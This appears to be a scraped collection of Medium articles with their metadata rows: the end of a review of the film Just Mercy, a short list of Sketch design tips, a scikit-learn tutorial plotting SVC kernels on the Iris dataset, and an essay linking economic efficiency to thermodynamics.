motion pictures of these projects.
Just Mercy is directed by Destin Daniel Cretton, whose previous directorial works includes such movies like Short Term 2020, I Am Not a Hipster, and Glass Castle. Given his past projects (consisting of shorts, documentaries, and a few theatrical motion pictures), Cretton makes Just Mercy is most ambitious endeavor, with the director getting the chance to flex his directorial muscles on a legal drama film, which (like I said above) can manage to evoke plenty of human emotions within its undertaking. Thankfully, Cretton is up to the task and never feels overwhelmed with the movie; approaching (and shaping) the film with respect and a touch of sincerity by speaking to the humanity within its characters, especially within lead characters of Stevenson and McMillian. Of course, legal dramas usually do (be the accused / defendant and his attorney) shine their cinematic lens on these respective characters, so it’s nothing original. However, Cretton does make for a compelling drama within the feature; speaking to some great character drama within its two main lead characters; staging plenty of moments of these twos individuals that ultimately work, including some of the heated courtroom sequences.
Like other recent movies (i.e. Brian Banks and The Hate U Give), Cretton makes Just Mercy have an underlining thematical message of racism and corruption that continues to play a part in the US….to this day (incredibly sad, but true). So, of course, the correlation and overall relatively between the movie’s narrative and today’s world is quite crystal-clear right from the get-go, but Cretton never gets overzealous / preachy within its context; allowing the feature to present the subject matter in a timely manner and doesn’t feel like unnecessary or intentionally a “sign of the times” motif. Additionally, the movie also highlights the frustration (almost harsh) injustice of the underprivileged face on a regular basis (most notable those looking to overturn their cases on death row due to negligence and wrongfully accused). Naturally, as somewhat expected (yet still palpable), Just Mercy is a movie about seeking the truth and uncovering corruption in the face of a broken system and ignorant prejudice, with Cretton never shying away from some of the ugly truths that Stevenson faced during the film’s story.
Plus, as a side-note, it’s quite admirable for what Bryan Stevenson (the real-life individual) did for his career, with him as well as others that have supported him (and the Equal Justice Initiative) over the years and how he fought for and freed many wrongfully incarcerated individuals that our justice system has failed (again, the poignancy behind the film’s themes / message). It’s great to see humanity being shined and showcased to seek the rights of the wronged and to dispel a flawed system. Thus, whether you like the movie or not, you simply can not deny that truly meaningful job that Bryan Stevenson is doing, which Cretton helps demonstrate in Just Mercy. From the bottom of my heart…. thank you, Mr. Stevenson.
In terms of presentation, Just Mercy is a solidly made feature film. Granted, the film probably won’t be remembered for its visual background and theatrical setting nuances or even nominated in various award categories (for presentation / visual appearance), but the film certainly looks pleasing to the eye, with the attention of background aspects appropriate to the movie’s story. Thus, all the usual areas that I mention in this section (i.e. production design, set decorations, costumes, and cinematography) are all good and meet the industry standard for legal drama motion pictures. That being said, the film’s score, which was done by Joel P. West, is quite good and deliver some emotionally drama pieces in a subtle way that harmonizes with many of the feature’s scenes.
There are a few problems that I noticed with Just Mercy that, while not completely derailing, just seem to hold the feature back from reaching its full creative cinematic potential. Let’s start with the most prevalent point of criticism (the one that many will criticize about), which is the overall conventional storytelling of the movie. What do I mean? Well, despite the strong case that the film delves into a “based on a true story” aspect and into some pretty wholesome emotional drama, the movie is still structed into a way that it makes it feel vaguely formulaic to the touch. That’s not to say that Just Mercy is a generic tale to be told as the film’s narrative is still quite engaging (with some great acting), but the story being told follows quite a predictable path from start to finish. Granted, I never really read Stevenson’s memoir nor read anything about McMillian’s case, but then I still could easily figure out how the movie was presumably gonna end…. even if the there were narrative problems / setbacks along the way. Basically, if you’ve seeing any legal drama endeavor out there, you’ll get that same formulaic touch with this movie. I kind of wanted see something a little bit different from the film’s structure, but the movie just ends up following the standard narrative beats (and progressions) of the genre. That being said, I still think that this movie is definitely probably one of the better legal dramas out there.
This also applies to the film’s script, which was penned by Cretton and Andrew Lanham, which does give plenty of solid entertainment narrative pieces throughout, but lacks the finesse of breaking the mold of the standard legal drama. There are also a couple parts of the movie’s script handling where you can tell that what was true and what fictional. Of course, this is somewhat a customary point of criticism with cinematic tales taking a certain “poetic license” when adapting a “based on a true story” narrative, so it’s not super heavily critical point with me as I expect this to happen. However, there were a few times I could certainly tell what actually happen and what was a tad bit fabricated for the movie. Plus, they were certain parts of the narrative that could’ve easily fleshed out, including what Morrison’s parents felt (and actually show them) during this whole process. Again, not a big deal-breaker, but it did take me out of the movie a few times. Lastly, the film’s script also focuses its light on a supporting character in the movie and, while this made with well-intention to flesh out the character, the camera spotlight on this character sort of goes off on a slight tangent during the feature’s second act. Basically, this storyline could’ve been removed from Just Mercy and still achieve the same palpability in the emotional department. It’s almost like the movie needed to chew up some runtime and the writers to decided to fill up the time with this side-story. Again, it’s good, but a bit slightly unnecessary.
What does help overlook (and elevate) some of these criticisms is the film’s cast, which are really good and definitely helps bring these various characters to life in a theatrical /dramatic way. Leading the charge in Just Mercy is actor Michael B. Jordan, who plays the film’s central protagonist role of Bryan Stevenson. Known for his roles in Creed, Fruitvale Station, and Black Panther, Jordan has certain prove himself to be quite a capable actor, with the actor rising to stardom over the past few years. This is most apparent in this movie, with Jordan making a strong characteristically portrayal as Bryan; showcasing plenty of underlining determination and compelling humanity in his character as he (as Bryan Stevenson) fights for the injustice of those who’s voices have been silenced or dismissed because of the circumstances. It’s definitely a strong character built and Jordan seems quite capable to task in creating a well-acted on-screen performance of Bryan. Behind Jordan is actor Jamie Foxx, who plays the other main lead in the role, Walter McMillian. Foxx, known for his roles in Baby Driver, Django Unchained, and Ray, has certainly been recognized as a talented actor, with plenty of credible roles under his belt. His participation in Just Mercy is another well-acted performance that deserve much praise as its getting (even receiving an Oscar nod for it), with Foxx portraying Walter with enough remorseful grit and humility that makes the character quite compelling to watch. Plus, seeing him and Jordan together in a scene is quite palpable and a joy to watch.
The last of the three marquee main leads of the movie is the character of Eva Ansley, the director of operations for EJI (i.e. Stevenson’s right-handed employee / business partner), who is played by actress Brie Larson. Up against the characters of Stevenson and McMillian, Ansley is the weaker of the three main lead; presented as supporting player in the movie, which is perfectly fine as the characters gets the job done (sort of speak) throughout the film’s narrative. However, Larson, known for her roles in Room, 2020 Jump Street, and Captain Marvel, makes less of an impact in the role. Her acting is fine and everything works in her portrayal of Eva, but nothing really stands in her performance (again, considering Jordan and Foxx’s performances) and really could’ve been played by another actress and achieved the same goal.
The rest of the cast, including actor Tim Blake Nelson (The Incredible Hulk and O Brother, Where Art Thou) as incarcerated inmate Ralph Meyers, actor Rafe Spall (Jurassic World: Fallen Kingdom and The Big Short) as legal attorney Tommy Champan, actress Karan Kendrick (The Hate U Give and Family) as Minnie McMillan, Walter’s wife, actor C.J. LeBlanc (Arsenal and School Spirts) as Walter’s son, John McMillian, actor Rob Morgan (Stranger Things and Mudbound) as death role inmate Herbert Richardson, actor O’Shea Jackson Jr. (Long Shot and Straight Outta Compton) as death role inmate Anthony “Ray” Hinton, actor Michael Harding (Triple 9 and The Young and the Restless) as Sheriff Tate, and actor Hayes Mercure (The Red Road and Mercy Street) as a prison guard named Jeremy, are in the small supporting cast variety. Of course, some have bigger roles than others, but all of these players, which are all acted well, bolster the film’s story within the performances and involvement in Just Mercy’s narrative.
FINAL THOUGHTS
It’s never too late to fight for justice as Bryan Stevenson fights for the injustice of Walter McMillian’s cast against a legal system that is flawed in the movie Just Mercy. Director Destin Daniel Cretton’s latest film takes a stance on a poignant case; demonstrating the injustice of one (and by extension those wrongfully incarcerated) and wrapping it up in a compelling cinematic story. While the movie does struggle within its standard structure framework (a sort of usual problem with “based on a true story” narrations) as well as some formulaic beats, the movie still manages to rise above those challenges (for the most part), especially thanks to Cretton’s direction (shaping and storytelling) and some great performances all around (most notable in Jordan and Foxx). Personally, I liked this movie. Sure, it definitely had its problem, but those didn’t distract me much from thoroughly enjoying this legal drama feature. Thus, my recommendation for the film is a solid “recommended”, especially those who liked the cast and poignant narratives of legality struggles and the injustice of a failed system / racism. In the end, while the movie isn’t the quintessential legal drama motion picture and doesn’t push the envelope in cinematic innovation, Just Mercy still is able to manage to be a compelling drama that’s powerful in its story, meaningful in its journey, and strong within its statement. Just like Bryan Stevenson says in the movie….” If we could look at ourselves closely…. we can change this world for the better”. Amen to that! | https://medium.com/the-challenge-se-36-episode-3-4khd-quality/36x3-the-challenge-enemy-of-the-state-series-36-episode-3-e96cbd51257 | [] | 2020-12-24 13:32:37.703000+00:00 | ['Adventure', 'Action'] |
The Suicide of Rachel Foster por Shei | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/extrememadness/the-suicide-of-rachel-foster-763672d8eb64 | [] | 2020-12-13 16:59:55.645000+00:00 | ['Videogames', 'Spanish', 'Opinion', 'Videojuegos', 'Español'] |
5 Tips to Boost Workflow in Sketch | Sketch is a tool that is very easy to use, but if you want to master its all features… you have to spend some time. I have prepared a collection of some tricks that will boost your workflow and save additional time!
If you would like to know even more unique tips, you may find them in the following articles on my blog:
Below you may find some handy tips:
1. Colors replace quickly
If somehow you have forgotten to establish Color Variables or Layer Styles or you need to replace color extremely quickly, there is a shortcut for that!
1. Open Edit -> Find and Replace Color
2. Pick a Color that you want to replace
3. Choose the target color
4. Click “Replace.” That’s it!
This Sketch feature works for Styles and normal fills that do not have applied any style!
Note: If you have the same color that is applied in Color Variable and is also present in your work independently, they will be displayed as two color (you have to update it twice).
2. Fill your designs with various data quickly.
The ability to fill designs with random data that imitate real one directly in Sketch is a great feature.
You may use an external source like SketchAppData.com to get multiple data sources quickly.
To fill your layers with these data, simply use the Data Populator plugin.
SketchAppData.com
Thanks to this, your designs will be full of data that will quickly make a good impression on stakeholders. What’s more, they will validate if the layout is set well for the real content!
3. Change New Layer Default Style
Tired of seeing grey rectangle with 1px darker border when you create a new Shape Layer? You may quickly change it to something more attractive (or for example the elevation of UI elements in your project):
1. Create a shape and style it in a way you want
2. Open Layer -> Style
2. Click the last option: “Set as Default Style.”
3. Voila! Now all new layers will have the style of shape from the first point!
4. Export Assets to a Single Folder
The ability to export multiple assets to various folders is extremely useful in 99% cases. However, there is always a situation that needs you to prepare the same assets in a single folder without digging through the whole structure and moving them manually.
To export all assets quickly to a single folder, simply use Flat Export Plugin.
I discovered it recently, and it is a real time-saver!
5. Flatten Bitmaps with Better Quality
Sometimes you want to make your layers as bitmaps. But, they are in poor quality. There is a method that lets you turn them into retina-ready images!
1. Go to Sketch -> Preferences
2. Select the “Layers” Tab
3. Find “Flatten Bitmaps”
4. Select “to 2x”
Simple, but a useful trick!
Summing up
With these 5 tricks, you will save time in your next project. Do you know more surprisingly simple tricks that boost workflow? Let me know in the comments!
By the way…
If you plan to start a new project or you would like to organize your UI Library — do not waste your time creating everything from scratch. Feel free to use mentioned above Design System Kit called Prime.
It is ✅ All-In-One UI Design Starter Kit for Sketch. See Prime in action.
🎁 Now, you can get 10% Off for The Kit with MEDIUM10 offer code! | https://medium.com/sketch-app-sources/5-tips-to-boost-workflow-in-sketch-650621b2288c | [] | 2020-11-02 12:45:44.137000+00:00 | ['UI Design', 'UX Design', 'Sketch', 'Design Resources', 'Design Workflow'] |
Implementing different kernels of SVC Algorithm on the Iris Dataset | Code
Here, we will go through the coding segment. The dataset used for this implementation is the iris dataset which can be imported from the sklearn library.
Importing Dataset and Relevant Libraries/Modules
Firstly, we will import the numpy and matplotlib for mathematical manipulation of data and plotting the graphs. Then we will import the svm classifier and the iris dataset from the sklearn library.
import numpy as np
import matplotlib.pyplot as plt
from sklearn import svm, datasets iris = datasets.load_iris()
The Iris Dataset (Image by Author)
The Iris Dataset consists of 150 samples, each having 4 features listed: sepal length, sepal width, petal length, and petal width.
Features in the Iris Dataset (Image by Author)
The data has 3 classes: setosa, versicolor and virginica.
Classes of Iris: Setosa, Versicolor and Virginica (Images from Wikipedia)
Features & Target Numpy Array
Next, we will take the first two features of the iris data, which are its sepal length and sepal width, both in cm.
Our X variable will contain the features and y variable will contain the target.
X = iris.data[:, :2]
y = iris.target
The Features & Target Numpy Arrays (Image by Auhtor)
Model Creation
Next, we will create models of the svm algorithms on the Iris dataset and use different kernels to observe the results.
We will keep the value of C = 1.0 for all the models.
C = 1.0 # SVM regularization parameter
models = (svm.SVC(kernel='linear', C=C),
svm.LinearSVC(C=C, max_iter=10000),
svm.SVC(kernel='rbf', gamma=0.7, C=C),
svm.SVC(kernel='poly', degree=3, gamma='auto', C=C))
models = (clf.fit(X, y) for clf in models)
We have created 4 models:
svm.SVC with linear kernel and value of C kept at 1.0 svm.LinearSVC (which uses the liblinear), with same value of C svm.SVC with rbf kernel svm.SVC with kernel = ‘poly’, degree = 3, gamma = ‘auto’ and default value of C
Make Meshgrid
Next, we will define a function to create a meshgrid to plot our 4 models.
def make_meshgrid(x, y, h=.02):
x_min, x_max = x.min() - 1, x.max() + 1
y_min, y_max = y.min() - 1, y.max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
np.arange(y_min, y_max, h))
return xx, yy
Plotting Contours
This function will be called to plot the decision boundaries for the classifiers.
def plot_contours(ax, clf, xx, yy, **params):
Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)
out = ax.contourf(xx, yy, Z, **params)
return out
Plotting
Next, we will define the titles of each plot and set up a 2x2 grid to plot our 4 classifiers plots.
Then, we will fit the model one by one on the Iris Dataset and plot the results:
# title for the plots
titles = ('SVC with linear kernel',
'LinearSVC (linear kernel)',
'SVC with RBF kernel',
'SVC with polynomial (degree 3) kernel') # Set-up 2x2 grid for plotting.
fig, sub = plt.subplots(2, 2)
plt.subplots_adjust(wspace=0.4, hspace=0.4) X0, X1 = X[:, 0], X[:, 1]
xx, yy = make_meshgrid(X0, X1) for clf, title, ax in zip(models, titles, sub.flatten()):
plot_contours(ax, clf, xx, yy,
cmap=plt.cm.coolwarm, alpha=0.8)
ax.scatter(X0, X1, c=y, cmap=plt.cm.coolwarm, s=20, edgecolors='k')
ax.set_xlim(xx.min(), xx.max())
ax.set_ylim(yy.min(), yy.max())
ax.set_xlabel('Sepal length')
ax.set_ylabel('Sepal width')
ax.set_xticks(())
ax.set_yticks(())
ax.set_title(title) plt.show()
The following is the plot:
Plot of SVC using various kernels (Image by Author)
The sepal length has been taken on the x-axis whereas the sepal width has been taken on the y-axis. | https://medium.com/analytics-vidhya/implementing-different-kernels-of-svc-algorithm-on-the-iris-dataset-90908e55048a | ['Mahnoor Javed'] | 2020-12-01 16:31:32.673000+00:00 | ['Machine Learning', 'Artificial Intelligence', 'Python', 'Sklearn', 'Data Science'] |
The Semantics of Efficiency | Economics is, fundamentally, a very specific study of the physical laws of thermodynamics applied to a tiny sample of the universe — human civilisation. At best, this study generalises over all sentient life but, as far as we can tell, economics may stay hopelessly overfitted to us.
If we were to try to reconnect economics to the higher laws of thermodynamics, we then have to reinterpret “common” concepts such as demand and supply, efficient frontiers/MPT or Black-Scholes into the fundamental language of thermodynamics — energy gradients and flows. However, we may generate unnecessary granularity if we go down so far and deep from the statistical comfort that economics, in its current form, provides. Instead, a compromise could be found if we move away from the relative arbitrariness of these common concepts and create a conceptual understanding of economics around efficiency.
Now, efficiency is a vast term so let me define my understanding of the word so we have a coherent view going forward. Efficiency, here, is the speed at which a community of entities (a market) implements value discovery and settles into equilibrium. Absolute market efficiency, in this context, would mean that markets find equilibrium instantaneously. We know that in a universe where the speed of light is finite, absolute efficiency is impossible since information/energy flows are temporally constrained. The consensus-building process to accept equilibrium is, therefore, hopelessly staggered over multiple time steps, preventing any instantaneous value discovery.
As an aside, it is important to understand the consequences of a hypothetical infinite speed of light on the markets. Imagine, a universe where market participants could eventually reach infinite processing and communication speeds. In such a setting, participants would not only predict the next step of life but go on to predict the whole future eternity and since they have infinite processing speed, they would proceed to implement this eternity immediately. The start and end of the universe then cease to have any distinction and time would have no meaning.
Thankfully, efficiency can still be useful as a concept in the form of relativistic efficiency. Relative efficiency means that an entity entering an existing system/market with its own marginally better strategy would implement value discovery better and hence help the system as a whole find equilibrium faster. Relative efficiency is, therefore, insidiously, the ultimate societal value. It is important to remember that relative efficiency is not simply relevant to the restricted environments that current-state economics govern but it is something that permeates everything we do. If you are relatively efficient as a person, you will be able to better yourself according to your own definitions of betterment (personal success). If a sentient AI is relatively efficient, it would be able to implement a relative singularity by staying relatively efficient (one step ahead) compared to humans.
The beauty of thermodynamics is that it allows us to take a step back from “determinism” as we zoom out from the micro and look at macro effects. The implicit understanding here is that chaos theory will play a part and create non-trivial “surprising” future effects naturally. What this means in practice for human civilisation is that the relative market efficiency of any given elite can never be taken for granted. There will always be a way for “new normals” to be found. Even critics of market efficiency are, naively and ultimately, just another set of participants vying for relative market efficiency and they may succeed by creating varying degrees of change to the existing system — evolutionary steps or revolutionary leaps.
Relative efficiency is a special concept that straddles both the functional and the “meta” levels of reality. For instance, the meta side of efficiency should mean that it is intrinsically auto-recursive and dynamically able to resolve when the mechanisms underpinning the contemporary comprehension of efficiency is about to shift. Practically, efficiency is, therefore, the ability to hold the ground truth of reality and act in such a way as to allow one to keep holding the ground truth in the future. | https://medium.com/@slytherator/the-semantics-of-efficiency-656cbb608dd8 | ['Hans Balgobin'] | 2019-07-10 07:50:13.988000+00:00 | ['Reality', 'Thermodynamics', 'Efficiency', 'Economics', 'Physics'] |
Subsets and Splits